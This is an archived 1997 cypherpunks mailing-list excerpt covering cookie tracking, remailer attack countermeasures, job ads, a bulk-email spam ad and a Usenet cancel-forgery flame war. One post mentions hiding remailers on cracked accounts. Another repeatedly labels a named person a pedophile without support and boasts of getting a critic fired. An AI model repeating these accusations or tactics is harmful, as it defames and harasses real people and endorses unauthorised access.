># Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)
>
>
>

From declan at well.com  Fri Aug  8 00:59:10 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 8 Aug 1997 15:59:10 +0800
Subject: Money magazine on Internet gambling
Message-ID: 

A colleague of mine down the hall at Money magazine just stopped by and
asked for help on a Net-gambling story. I think she's interested in the
offshore issues -- but this being Money, I think they're looking for
horror stores as well. (Junior running up a $20,000 tab on Daddy's credit
card. You know the drill.) I already gave her my copy of the July Wired
with Charles Platt's article on FC97, told her about Sen. Kyl's bill, and
gave her the URL to MSNBC's special report.

If anyone wants to give her a call, email me for her phone number.

-Declan

PS: Thanks to everyone who responded about the digital cash story for
Money earlier this summer. I printed out all the responses I got and
forwarded them along, but the story got killed...

From dlv at bwalk.dm.com  Fri Aug  8 00:59:20 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 15:59:20 +0800
Subject: Query on cookies
In-Reply-To: 
Message-ID: 

Declan McCullagh  writes:

> Thanks for the help, folks. This is for an article on privacy I was
> working on, and I found the info I needed. For instance, Netscape's
> explanation of the protocol left me wondering about whether cookies from
> acme.com could be requested by competitor.com.
The answer is YES, although it requires a little work.

Suppose that you point your browser at http://www.A.com/index.html.

Suppose that file contains an .
The CGI file displays a little picture, and also gets or sets a cookie.

Suppose you next browse http://www.C.com/index.html, and it too
contains the same .  Since the cookie is "owned" by B.com,
not A.com or C.com, the cgi file can track your movement from A.Com to
B.Com.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From aba at dcs.ex.ac.uk  Fri Aug  8 00:59:42 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 8 Aug 1997 15:59:42 +0800
Subject: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: 
Message-ID: <199708071945.UAA04602@server.test.net>

Uggh another post which turned out hugely long... I cc'd to remailer
ops due to remailer operator relevance.

Steve Schear  writes:
> >> On Wed, 6 Aug 1997, Adam Back wrote:
> >I propose that an exit remailer is replaceable, that is another
> >remailer can instantly step into it's place and take traffic.  The way
> >to do this is to have a special automated reporting mechanism for
> >exitman remailers.  An easy way to do it is to have the exitman
> >remailers send mail to a given mailing list.  Other remailers which
> >wish to use exitman remailers just subscribe to the chosen mailing
> >list.  We just need a remailer command indicating the creation of a
> >new exitman remailer.  I guess the exitman remailer just sends one
> >message per day, or whatever, and if it stops, you write it off.
> 
> A possible problem is the motivation of those setting up decoys.  If
> they're doing it to help thwart remailer abuse, fine.  But what if
> their intent is to thwart remailers?  Couldn't these dissidents set
> up black-hole remailers which are simply information sinks?  

Good point, they could indeed.

There is another related problem which is a real thorny one:

  Being exit only, the attacker will by definition know the email
  address the messages it forwards are being sent to.  The attacker is
  trying to maximise his ability to disrupt, so he will be trying extra
  hard to conceal from remailer operators and their community that he is
  disrupting.

  Clearly the clever attacker in this situation, trying to disrupt the
  exitman-using middleman remailers reliability will let through
  anything going to a public forum, or to an email address he suspects
  is anything to do with Raph's pinging service.  (Eg any address on the
  cypherpunks list or remailer-ops list as possible collaborators in the
  remailer reliability pinging).

  If the attacker is a Fed or spook or whatever, he will have good
  resources and ability to correlate destination email addresses to
  cypherpunks list members.  Eg you get an account somewhere, they can
  find out by looking at your credit card logs, or whatever.

Counter-measures?

1) Counter measure #1

   A sop I can offer to this difficulty of detecting denial of
   service attacks, is that perhaps you could have the last middleman
   remailer send to a bunch of different randomly selected exitman
   remailers.  So when you get some anonymous mail you get 10 copies of
   it.

   That way you can work out some stats for how likely someone who is
   operating 10 of 20 exit man remailers is to stop a given mail
   getting through.

 1a) Counter-counter measure to 1)

     However if some of these remailers are operating from cracked
     accounts, rather than from anonymously purchased accounts, the
     attacker has an easy job of increasing his percentage of exitman
     remailers: take out the existing ones.  Simple just email the admin
     of the cracked account -- he'll remove it.

2) Counter measure #2

   Another idea, but really quite manual, would be to pick people who
   have advertised PGP keys, send them mail via some exitman remailer,
   and ask them politely to forward it to you.

   (Clearly sending through requests to "let me know if you recieve
   this email" aren't going to be recognized by the attacker, and let
   through if we send mail to people who don't have encryption
   capability).

 2a) Counter-counter measure to 2)

     Course then the attacker can counter by letting through any
     encrypted mail without question.  Stuck there aren't we :-(

3) Counter measure #3

   Scraping the barrel here: what if we enlist the help of exitman
   remailers to check up on other exitman remailers?

   So now lets say we don't release a list of exitman remailers, but
   rather each exitman remailer privately announces itself to one
   randomly selected remailer privately.

   This is better in general because there is now no publically known
   list of exitman remailers.  It is now harder for someone to
   use the list to just email all the admins in the hope that they
   will revoke paid for accounts (attacker makes legal threats,
   claiming to have receiving illegal material from this account or
   whatever), or to remove hacked accounts (real easy this one).

   With this setup we can send mail to one exit man via another one,
   with some chance that the first exitman won't recognize the other
   exitman.  (You wouldn't want to overdo it with repeated mail, or
   the corrupt exitman might start to suspect the mail was another
   exitman).

  3a) counter-counter measure to 3)

      It might be relatively easy for the well funded attacker to work
      out which addresses of those it receives to forward to are
      accounts with exitman installed.  Eg. Watch the traffic from the
      host, after sending a bunch messages through remailers.  Or
      simply finger the account see if the user ever logs in.  (If it
      was hacked, it could be an active account, the user might never
      look at the forward file with |/home/oliver/... , nor the
      exitman remailer installed as "..." in some directory -- if it's
      working properly they won't see the email, and if it's forging
      email well they see replies).  Incidentally exitman remailer
      hidden in "..." would allow a user to install it himself and
      plausibly claim ignorance, a more subtle way to obtain
      "disposable" exitman remailers.  Best run from clearly
      non-technical users accounts with the knowing assistance of a
      technical assitant.

4) counter measure #4

   An exitman remailer pinging service would be easily feasible for
   the post to USENET aspect (or to known mailing list), as the
   exitman remailer would show itself up quickly in this case.

   However I'm not sure this is so useful as mail2news gateways, and
   public postings generally (*) generate a lots less agro for their
   operators than a remailer.  This is because people don't have to
   read USENET, and don't feel nearly so threatened as when they
   receive an anonymous mail aimed at them.  And also because the
   mail2news gateway puts the senders address in the From field, which
   points the finger at the exit remailer anway.  mail2news seems to
   be viewed as more neutral.  If any mail2news operators have
   experiences which suggest otherwise I'd be interested to hear.

   (*) I did read of one case on remailer-operators where someone got
       hit by a remailer hater who used a remailer to post a fake
       advertisement of a CD full of commercial warez.  The
       remailer-hater then anonymously tipped off the SPA.

   Incidentally I say "remailer-hater" here, but I should probably use
   a more term "remailer-attacker" or something, there could also
   feasibly be someone who is actually on our side (in a Zen sort of
   way) and trying to get us to face and solve the DoS and operators
   liability issues with technical solutions by demonstrating the
   current weaknesses.

Some of these attacks are interesting for ordinary remailers also.
Perhaps there exist right now normal (non-middleman) remailers which
will send to another remailer in case it is a ping message, and
anything that looks like an attempt to deliver to Raph, but junk the
rest.

Would we know?

Anyway, overall I think the difficulty in checking on exitman
remailers overall probably means that this simplest practical
compromise for mail delivery from exitman remailers is for the last
middle man remailer to send the mail to multiple exitman remailers.

I also think the that the idea of exitman remailers privately
announcing themselves to selected remailers might mean that they last
longer, otherwise remailer haters will contact the admins and cause
hassle even if they can't correlate any particular message came from a
given remailer due to good mail forgery on the part of the exitman
remailer.

And using exitman remailers to post to USENET might be useful at some
point if open access mail2news gateways got scarce.

> When a email is chain-remailed and doesn't get delivered many, but
> not all, senders would simply assume one of the remailers are having
> delivery problems and resend.  Will Raph's approach work to monitor
> decoys when their number and identity are constantly changing?

In theory yes.  Send it via a couple of exitman remailers to make sure
if you like.  However the smart DoS attack described above is much
harder to counter.

> Won't this significantly complicate remailer clients?

Nope.  The client won't need to know.  You're not expected to send
directly to an exitman remailer.  That is something for remailer
operators to use.

You know how middleman operators work...  they always, always send
mail via another remailer and never deliver mail to a user.  (I'm not
sure if they detect this by looking to see if the address is on the
remailer list, or just always add an extra hop?)

So if there are some exitman remailers, a remailer operator that gets
sick of the heat can switch to a new kind of middleman mode, where he
always posts everything through various exitman remailers.  (Or normal
middleman mode, and leave the hassle of installing software to keep up
to date on current exitmen to other exitman-using middleman
remailers).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0

http://nytsyn.com/live/Latest/218_080697_110027_578.html

Fraud Feared as Antigua Net Bank Fails 

By EMILE VALERE 
c.1997 Bloomberg News 

T. JOHN'S, Antigua - The Antigua and Barbuda government issued a fraud
alert Tuesday after the collapse of European Union Bank and the
disappearance of
its cofounders. 

The locally-chartered bank, which fired all its employees last Thursday,
had
marketed itself as the first off-shore bank on the Internet. 

The Antiguan government hired the accounting firm Coopers and Lybrand
LLP to
examine the records of the three-year-old company. 

Callers to the bank heard a recorded message that gave only a hint that
something
was amiss. 

``Welcome. You have reached the European Union Bank,`` said a
reassuring-sounding male voice. ``Due to technical reasons, some of our
services
involving the security mode are temporarily unavailable.'' 

The bank's Internet site, http://www.eubank.ag , was also unavailable. 
Meanwhile, the government is on the look-out for the bank's founders,
Serbveo
Ushakov, allegedly of Bronxville, New York, and Vietalui Papsouev of
Richmond
Hill, Ontario, according to the Caribbean News Agency. The government
says the
two are Russian nationals. 

The Idaho Department of Finance on May 30 ordered European Union to stop
soliciting deposits from Idaho residents over the Internet. 

``I can't say I'm surprised'' at the news of the bank's collapse, said
Gavin Gee,
director of the department. 

Idaho alleged the bank, without a state or federal charter, was
operating illegally.
Gee said he hopes other U.S. regulators will take similar actions
against off-shore
banks soliciting over the Internet. 

``If nobody's going to take action against fraud on the Internet, we've
got a serious
problem,'' said Gee. 

Antigua has more than 50 off-shore banks. Prime Minister Lester Bird
last
February targeted three of them to be shut down because of their alleged
involvement with Russian crime rings. 

The Associated Press reported last week that the Bank of England warned
investors last fall about depositing funds in European Union Bank. 

(The Bloomberg web site is at http://www.bloomberg.com )< 

(Disbributed by The N.Y. Times News Service)< 

NYT-08-06-97 1054EDT<

From randerso at ece.eng.wayne.edu  Fri Aug  8 01:00:22 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Fri, 8 Aug 1997 16:00:22 +0800
Subject: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <19970806141137.51900@bywater.songbird.com>
Message-ID: 

On Wed, 6 Aug 1997, Kent Crispin wrote:

> This is not a good analogy at all.  Have you ever noticed that there
> are "childrens books" sections in the library? In fact, books in
> libraries *do* have ratings -- they just use a different technique
> than stamping it on the book.

Exactly!  Such a system (perhaps patterned after the Dewey Decimal System,
with expansion to handle fiction, news sites, etc or the Library of
Congress system, though I know very little about this system, and it's
probably too complicated to do on the net effectively) would allow you to
search for a site that contained information about "Green Eggs and Ham"
under children, for information about the Dr. Seuss book, and under news
for information about the nasty new genetic disease running through US
farms.  [finctional example, but I think the point got across, hopefully]

Two things need to be prevented to make this a viable solution:  NO
MANDATES from government, though a request for sites that are somewhat
controversial, such as adult sites to mark pages as such should not be
considered a horrible idea, this already happens to some extent in other
areas.

The second thing, and most important, is that web search engines need to
index *every* page, and allow the topical/categorization system as a way
to further limit searchs.  

This would be a method that I think would remove most of the fears in
place.  Search engines can't start limiting indexes to just the rated
sites, or they become a *major* problem on the net, but improving
searching is not somethign to be ignored in this issue.

This is a much more important issue than the filter of adult sites.  It
happens to provide a convenient way to do that, however, in a manner that
allows parents to limit whatever they want... [ you don't want your child
learnign about certain things?  block those ratings.. adult sites will
probably have a better percentage of categorizing than most others, but
no matter what you pick, something will listed under that...)

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------

From declan at well.com  Fri Aug  8 01:17:05 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 8 Aug 1997 16:17:05 +0800
Subject: Query on cookies
In-Reply-To: 
Message-ID: 

Thanks for the help, folks. This is for an article on privacy I was
working on, and I found the info I needed. For instance, Netscape's
explanation of the protocol left me wondering about whether cookies from
acme.com could be requested by competitor.com.

I ended up talking to some Netscape engineers, who were as puzzled as I
was by where the term "cookie" came from. But I found it in the good ol'
Jargon File... 

-Declan

On Thu, 7 Aug 1997, Steve Schear wrote:

> At 12:23 PM -0700 8/6/97, Declan McCullagh wrote:
> >Does anyone have a detailed understanding of how cookies work? I've read
> >Netscape's explanation of the protocol, but I still have some questions.
> >
> >-Declan
> 
> The July issue of Internet World, "Baking Your Own Cookies," contains a
> good introduction into some of the details.
> 
> --Steve
> 
> 
> 
> 

From rah at shipwright.com  Fri Aug  8 01:17:26 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 8 Aug 1997 16:17:26 +0800
Subject: IPSEC Analyst and Engineers Wanted
Message-ID: 

--- begin forwarded text

X-Authentication-Warning: silence.secnet.com: majordom set sender to
owner-security-jobs at secnet.com using -f
From: "Meryweather, Rod" 
To: "'security-jobs at secnet.com'" 
Subject: IPSEC Analyst and Engineers Wanted
Date: Wed, 6 Aug 1997 15:51:30 -0400
X-Priority: 3
MIME-Version: 1.0
Sender: owner-security-jobs at secnet.com
Precedence: bulk

WANG GOVERNMENT SERVICES
SECURITY SERVICES
POSITION OVERVIEW AND SUMMARY

Organization Overview
The Wang GS Security Services organization is a descendant from the
Honeywell Information Systems group that has been focused on developing
High Assurance computing solutions for the US Government since the late
1970's.  Honeywell was the first vendor to have a system evaluated by
the NSA National Computer Security Center (NCSC) against the Orange Book
(a document that defines levels of trust that can be reached by
operating systems) at the A1 level - the highest - in 1984.  Our XTS 300
product is a direct descendent of the A1 SCOMP platform, and is
currently evaluated at the B3 level of trust.

The Security Services (SS) organization focuses on development and
deployment of secure solutions.   Product activities are contained in a
group focused on the XTS 300 operating system and a trusted guard
development framework product (the SAGE).  The rest of the organization
is focused on implementation of task-specific solutions.  These
currently include:

The DMS/DII Guard:  This is a multi-year development effort that will
result in a XTS 300-based X.400/X.500 guard with strong user
authentication and encryption support (FORTEZZA).

The State Department Guard:  This is a new project that will implement a
proprietary (State-compliant) XTS 300-based telegram network guard that
works with identification of unclassified telegrams.

The Command and Control Guard:  The C2G effort involves the evolution of
an existing XTS 300-based Government-owned Guard application that is
deployed world-wide.

The FBI:  Wang currently has developed and deployed multiple IBM
communications guards for the FBI, and continues to evolve and enhance
the functional capabilities of these XTS 300-based systems.

The IRS:  This effort does not involve the XTS 300.  Rather, Wang is
responsible for the EDI telecommunications and security infrastructure
of the IRS Tax Collection system, based on an NCR commercial Unix
platform.

DLA Security Assessment:  Wang currently supports the security planning,
assessment and accreditation activities with the DLA and the Defense
MegaCenter in Dayton, Ohio.

General Technical Requirements
Excellent C and Unix skills (we do not code in C++ except for the IRS
project).  Strong structured design and documentation skills.  Linux OS
on Pentium workstation.  Heavy emphasis on one of the following areas:
Computer Security, Unix Kernel (device drivers, printer drivers, API, OS
construction), Communications (TCP/IP, X.400, X.500, SNMP), Encryption
(PCMCIA or software-based), GUI development (X), Testing.  MUST be
clearable to TS.  MUST have a BS degree or equivalent experience.  MUST
be a self-starter and quick learner.   Competitive compensation and
benefits, casual dress code, technical organization.  Herndon location
as of August 1, 1997.  See
http://www.wangfed.com/products/ssso/homepage.html for product details,
http://wang.com for information about Wang.

Specific Positions

Senior OS Developer (1)

Candidate will be a member of the XTS 300 OS development staff, and
should have considerable exposure (8-15 years) to the construction and
enhancement of a Unix OS.  Activities include API development and
enhancement, device driver implementation (e.g., printer, SCSI,
"console", PCMCIA devices, ethernet (802.3 + 100Mb or ATM)), application
porting (e.g., X), bug fixes, and new platform porting (from one Pentium
mother board to the next).  Orange Book security a BIG plus.

Junior OS Developer (2)

Candidate will be a member of the XTS 300 OS development staff, and
should be very comfortable with heavy structured C and Unix (OS
construction, release building from source, etc.)  Linux experience a
big plus.  2-5 years experience with heavy C, Unix, and at least one of
the following:  GUI development, application porting on Unix,
communications (TCP/IP, X.4/500, SNMP),  systems installation and debug,
heavy scripts, heavy testing. Orange Book security a BIG plus.

XTS 300 GUI Developer

Candidate will initially be assigned to the State Department Guard task,
and will be responsible for the specification, design, development,
implementation, testing and documentation of the man-machine interfaces
for this Guard (Main-in-the-Middle review capability, dirty word list
management, report generation, etc.).  This will be developed with a
subset of X (Motif-based).  3-5 years experience in X, C, Unix,
documentation, design.

Sr. XTS Applications Developer (3)

Candidate will be a member of the XTS 300 Application Development focus
group, and will be responsible for a lead role in the development of
Guard applications.  Must have 8-15 years heavy C, Unix, Comm (TCP/IP,
X.4/500), structured design, documentation, development, implementation,
testing, debug and support.  Orange Book Security and Guard/Firewall
design a big plus.

Jr. XTS Applications Developer (3)

Candidate will be a member of the XTS 300 Application Development focus
group, and will be responsible for a supporting role in the development
of Guard applications.  Must have 2-5 years heavy C, Unix, with a focus
in one or more of the following: Comm (TCP/IP, X.4/500), structured
design, documentation, development, implementation, testing, debug and
support.  Orange Book Security and Guard/Firewall design a big plus.

Accreditation Support/Risk Assessment

Candidate will be a member of the DMS/DII Guard Development and
Deployment team, and will be responsible for taking a lead role in the
assessment and justification of the assurance of the Guard architecture.
Required 6-12 years experience with trusted solutions and architectures,
X.400/X.500, accreditation and deployment issues.  Strong documentation
and communications (verbal) experience.

Rod Meryweather
Sr. Security Analyst

                     Wang Federal, Inc.
Rod.Meryweather at wang.com
                     540 Huntmar Park Dr.                Wk:  (703)
827-3818
                     Herndon , Va 22102-4299          Fax: (703)
827-3161

--- end forwarded text

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/

From dformosa at st.nepean.uws.edu.au  Fri Aug  8 01:17:49 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Fri, 8 Aug 1997 16:17:49 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <4DL2ae16w165w@bwalk.dm.com>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Tim Skirvin  writes:
> > 	Not accepted ones.  They're treated as rogues, and asked to stop
> > it, and you know it.
> 
> Net.Scum like [...] Tim Brown,

Tim Brown is not an accepted canceler.

[...]

> Examples of lies in Tim Skirvin's Magnum Opus, the "Cancel FAQ" (what else):
> 
[...]
> ]Sounds cool.  Where do I get one?
> ]
> ]	If you have to ask, you don't get one.

[...]

> My cancelbot has been freely available for over 18 months.

And if thay can't find it thay have to ask therefore thay don't get one.
There are freely advalable alt.* newsgroup creation scripts, and still
peaple don't know how to post cancels.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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VXAxct9gwyJoP6w1vcmLJ8FnJ+IhFQPuFIP336QqhCRX+Uac7zeJ9akkTVrSE0J+
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From declan at well.com  Fri Aug  8 01:18:05 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 8 Aug 1997 16:18:05 +0800
Subject: Applied crypto, security guru needed, from Coopers & Lybrand
Message-ID: 

[From a CMU computer science department mailing list. --Declan]

---------- Forwarded message ----------
>From: Dahl Gerberick 
>
>Hi,
>
>I recently took a senior level position with Coopers & Lybrand in Boston.
>As such it has come to my attention that they are looking for someone with
>the following background.
>
>I do not expect that you will know where I can find such a person right
>now, but if you keep this message handy you might think of me if that
>person should come along in the near future.
>
>If you should find someone who meets these requirements please get back to
>me, or have them contact me directly.
>
>          Dahl Gerberick
>          617-478-9936 (Office)
>          617-478-5900 (Fax)
>          617-784-2701 (Home)
>          gerberick at acm.org
>
>Thanks
>Dahl - -
>
>PS:  Feel free to redistribute this message as you see fit.
>
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
>- - - - - - - - - - - - - - - - - - - - -
>
>  1.  Minimum 5- 10 years experience in applied cryptography
>
>  2.  Ability to design and implement security applications that utilize
>       encryption technology
>
>  3.  Extensive knowledge of X.509 standards for digital certificates
>
>  4.  Detailed knowledge of all prevailing algorithms, DES, IDEA, RSA,
>       Elliptic curve, etc.
>
>  5.  Algorithm development background not necessary
>
>  6.  Intimate knowledge of all national standards for cryptographic
>       implementations such as ANSI X.9 working group standards
>
>  7.  Intimate knowledge of all commercially available encryption
>       products from vendors such as Entrust, Verisign, Cylink, IBM,
>       GTE, etc.
>
>  8.  Knowledge of legal implications of electronic commerce such
>       as ABA Digital Signature standard
>
>  9.  Security consulting background a plus
>
>  10. Technical skill in TCP/IP, UNIX, internetworking technology
>
>
>
>

From azur at netcom.com  Fri Aug  8 01:18:05 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 8 Aug 1997 16:18:05 +0800
Subject: Query on cookies
In-Reply-To: 
Message-ID: 

At 12:23 PM -0700 8/6/97, Declan McCullagh wrote:
>Does anyone have a detailed understanding of how cookies work? I've read
>Netscape's explanation of the protocol, but I still have some questions.
>
>-Declan

The July issue of Internet World, "Baking Your Own Cookies," contains a
good introduction into some of the details.

--Steve

From mail at sendmailco.com  Fri Aug  8 01:18:13 1997
From: mail at sendmailco.com (mail at sendmailco.com)
Date: Fri, 8 Aug 1997 16:18:13 +0800
Subject: 25,000,000 People
Message-ID: <199708070921.CAA11112@sweden.it.earthlink.net>

Would you be interested in...

* Sending out Bulk Email FREE for 30 Days?
* Receiving 25 MILLION Email Addresses FREE of charge?
* Sending out Bulk Email using your CURRENT Internet Account,
  without EVER having to worry about it being canceled?
* Sending out a FREE Bulk Email Advertisement for your Business
  or Web Page to over 250,000 people per day?
* Posting a FREE Ad for your business to over 25,000 Newsgroups
  in under three hours?

To find out how to do all of this and more for FREE, email our
autoresponder at: send at nim.com

You MUST Place the word "FREE" in the Subject Line so our
autoresponder mailbot can send you this FREE Information!

To be removed from our mailing list, email our autoremover
at: remove at nim.com

You MUST Place the word "REMOVE" in the Subject Line so our
autoremover mailbot can remove you from our mailing list.

From dlv at bwalk.dm.com  Fri Aug  8 01:18:16 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 16:18:16 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: 
Message-ID: 

? the Platypus {aka David Formosa}  writes:

> On Mon, 4 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > I think the extreme aversion to censorship (like that displayed by imp
> > and myself) seldom arises in people who haven't themselves been victims
> > of censorship
>
> Dose threats from a multynatnatil corpration count?  Dose living in
> Austrlia count?

Evidently these haven't made you into a staunch opponent of censorship.
Perhaps if they did succeed in pulling your plug, you'd feel differently.

> > The current top "spam canceller", Rich Bland ("cosmo")
>
> Jem seems to have gotten to the top of the list now.

I haven't been tracking the forgers lately.  For those who don't know
John E. Milburn: he's an expatriate U.S. engineer who used to work in
South Korea and forge cancels from there in a variety of newsgroups
(like alt.religion.monica). I caught him forging a cancel for one of
my articles (for "homophobia" and "excessive cross-posting"). Milburn
lost his job in Korea last year (possibly because of the complaints
about his net-abuse) and announced his "retirement" from forging cancels.
I'm sorry to see this bastard back.

> > I was just pointing out that it's factually incorrect to use
> > "admins" as a synonym for "anti-spammers".
>
> No sane person would suggest that (i.e. lots of peaple on usenet would
> make that suggestion) because if it was true then we wouldn't have the
> problems with agis or uunet.

Tim Skirvin presents these "newbies" with a false view of Usenet as a
unified front of news admins who have all reached consensus that free
speech is evil and are now fighting the evil spammers.

> > Chris Lewis and Dave Barr obth
> > forge cancels for usenet articles that follow up on their articles and quot
> > them, claiming "copyright violations".
>
> This is interesting,  proof please.

Check out Chris Lewis's Net.Scum page at http://www.netscum.net/lewisc0.html.
Find "Edward Gerk" - one of the people who quoted Chris Lewis and whose
articles Chris Lewis canceled for "copyright violations".

Next check out Barr's Net.Scum page at http://www.netscum.net/barrd0.html.
Find "Alain Larouche" - same thing.

> > Once the offending articles are part of the spool on toher site, it's
> > pointless for me to issue cancels.
>
> Not even to free up diskspace?

Correct.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From dlv at bwalk.dm.com  Fri Aug  8 01:18:21 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 16:18:21 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: 
Message-ID: <39q2ae27w165w@bwalk.dm.com>

? the Platypus {aka David Formosa}  writes:

> On Mon, 4 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Pedophile Chris Lewis is a content censor.
>
> I don't think Mr Lewis' algeded activerties with childeren have any
> validity to the argument.  Calling him a 'Pedophile' or any other name is
> not effective in changing my option about this mattor.

"Chris Lewis" is a common name.  "Pedophile Chris Lewis" serves to identify
the content censor who works for Bell North Forgery Research / Northen
Telecom Forgers and uses their facilities to forge Usenet cancels for
articles whose contents he doesn't like.

> >  There are dozens of other examples.
>
> As yet I have seen only the one, could you provide these other examples
> where Chris Lewis has perposly canceled posts that he dosn't like.

David, you're bordering on asciribing to me things I haven't said -
is you reading as bad as your writing?

I said, there were dozens of examples of cancel-forgers who claim to be
cancelling "spam" (i.e. multi-posts), but are in fact cancelling singly posted
articles whose contents they simply didn't like. Pedophile Chris Lewis is one
of many such content censors. Let's count the ones we find at
http://www.netscum.net: 1) Guy Macone 2) Sally Monde, 3) Tim Brown, 4) Bob
Curtis, 5) Sean Eric Fagan, 6) Nat Makarevitch, 7) Michael Horansky, 8) David
Howard, 9) Alex Bulan, 10) "Eric Dynamic", 11) John Milburn, 12) Gabriel
Krabbe, 13) Odd Einar Aurbakken, 14) Alan Reichert, 15) Andreas Kirchwitz, 16)
Dax Hutcheon, 17) James Gardner, 18) Otmar Lendl, 19) Henning Weede, 20) Ian
Goldberg, 21) Gregory Woodbury, 22) Bruce Lane, 23) Otto Makela, 24) Steve
Manes, 25) Rich Sauers, 26) Ralph Valentino, 27) Luis Echeverria, 28) Michael
S. Scheidell, 29) Matthias Scheler, 30) Wolfgang Schelongowski, 31) Dick
Depew, 32) Ed Hew, 33) George Nemeyer, 34) Edward Igoe, 35) Tom Phoenix, 36)
Michael Shields - that's 3 dozen, an there's probably twice as many more
listed on the Net.Scum pages. Check out Sally Monde: the lady claims to be a
heroin junky currently using methadone, she described how her Legal Aid lawyer
got a psychiatrist to convince the court that she's insane, so she's out of
jail and collecting SSI on mental disability - and she's forging cancels for
aricles she considers to be "racist crap". Do you want Sally to decide for you
what you're allowed to read vs. what's the forbodden "racist crap"?

> > > Since Dr Vulis is the newsadmin of that site, the question is quite valid
>
> > I would like to be able to tell
> > the rest of Usenet that these articles are not worth reading,
>
> And if thay should deside the what is not work reading is not worth
> storing?

My telling the readers of the affected newsgroups that an article posted
under my name isn't worth reading (e.g. because the car advertized as
being for sale has already been sold) is not a reason for news admins
(generally, a different group of people) to remove such an article from
their spool and to deprive their users of the ability to read that article
(e.g., to compare the asking prices for cars).  I'm not talking to
admins.  If they abuse my message by using it as a basis to remove
such articles from spool, then I'll be reluctant to issue it.

> > > Frees up diskspace + reducers propragtion.  May be a good thing.
> >
> > A spew spreads to almost all the servers there are in minutes.
>
> It seems to me more in the range of hours or days, esp in the case of
> uucp sites wich don't connect often.

This was the case many years ago.  These days, a spam propagates pretty
much everywhere because the cancels catch up with it.  The claim that
cancels save bandwidth is an outright lie.

> > > > We've got to receive repeated
> > > > blasts of forged cancels ten times the number of the offending posts?
> > >
> > > Ergh?  There is only one cancel per post.
> >
> > Were you around when Ausralia was knocked off the net by the cancels for th
> > Cantor and Siegel "spam"?
>
> There _is_ I'm talking about present tence.  Any anty spammer who dosn't
> follow the convention is going to be stopped or losse there account (eg
> David Richards).

David Richards is the sysop of the Ripco BBS in Chicago. He's been forging
cancels for dozens of articles he considers to be "off-topic" - see his
Net.Scum page at http://www.netscum.net/richard0.html.  He's been doing
this for months and no one's been able to stop him.

Scott Sadow's been forging cancels for months - he hasn't been stopped and
hasn't lost his account (see his Net.Scum page).

> >  Most of the forgers didn't follow the "$alz" convention (giving the
> > forged cancel the message-id "cancel.".
>
> I would argue that all cancels (not just 3rd party) should follow the
> message id protocol.

I would argue that all cancels should be ignored irrespective of message-id.

> And yes if thay set the reply-to: feild of the message to me I do consider
> it my post and cancelble from me.

To hell with cancels, but you should be able to issue a retraction nocem.

> > How about me posting under my own name or via an anonymous remailer, "Platy
> > is a spammer - complain to his ISP"?
>
> Both uws.edu.au and acmeonnline would know these complants are bogus.

I hope so.  A couple of weeks ago some scumbag posted via a remailer an
annoucement that "vulis at bwalk.dm.com" is responsible for some sort of
net-abuse. This address doesn't exist; nevertheless I received several
postmaster complaints about this address, giving detailed description of
the alleged abuse (junk mail, thousands of usenet articles, etc). One of
the complainers wrote from a work account - I tried to get him fired and
apparently succeeded :-) :-) :-)

> > How about if someone posted your credit card numbers to Usenet?
>
> I don't have a credit card for just that reson.  The creadit card securaty
> system is so fundermently flawed as to be the equiverlent of sticking a
> large sign on your forhead marked "ROB ME"

That's right, except in the U.S. various laws protect the consumer.
(The card issuer gets to eat the losses, and passes the cost to the
consumer whether or not he has a card :-)

Many Cabal supporters cite credit card numbers as the canonical example
of the kind of traffic that must be cancelled on sight. They're idiots.
Once a credit card # has been posted to Usenet, the card must be cancelled
at once to make it unusable. Cancelling the article won't make the number
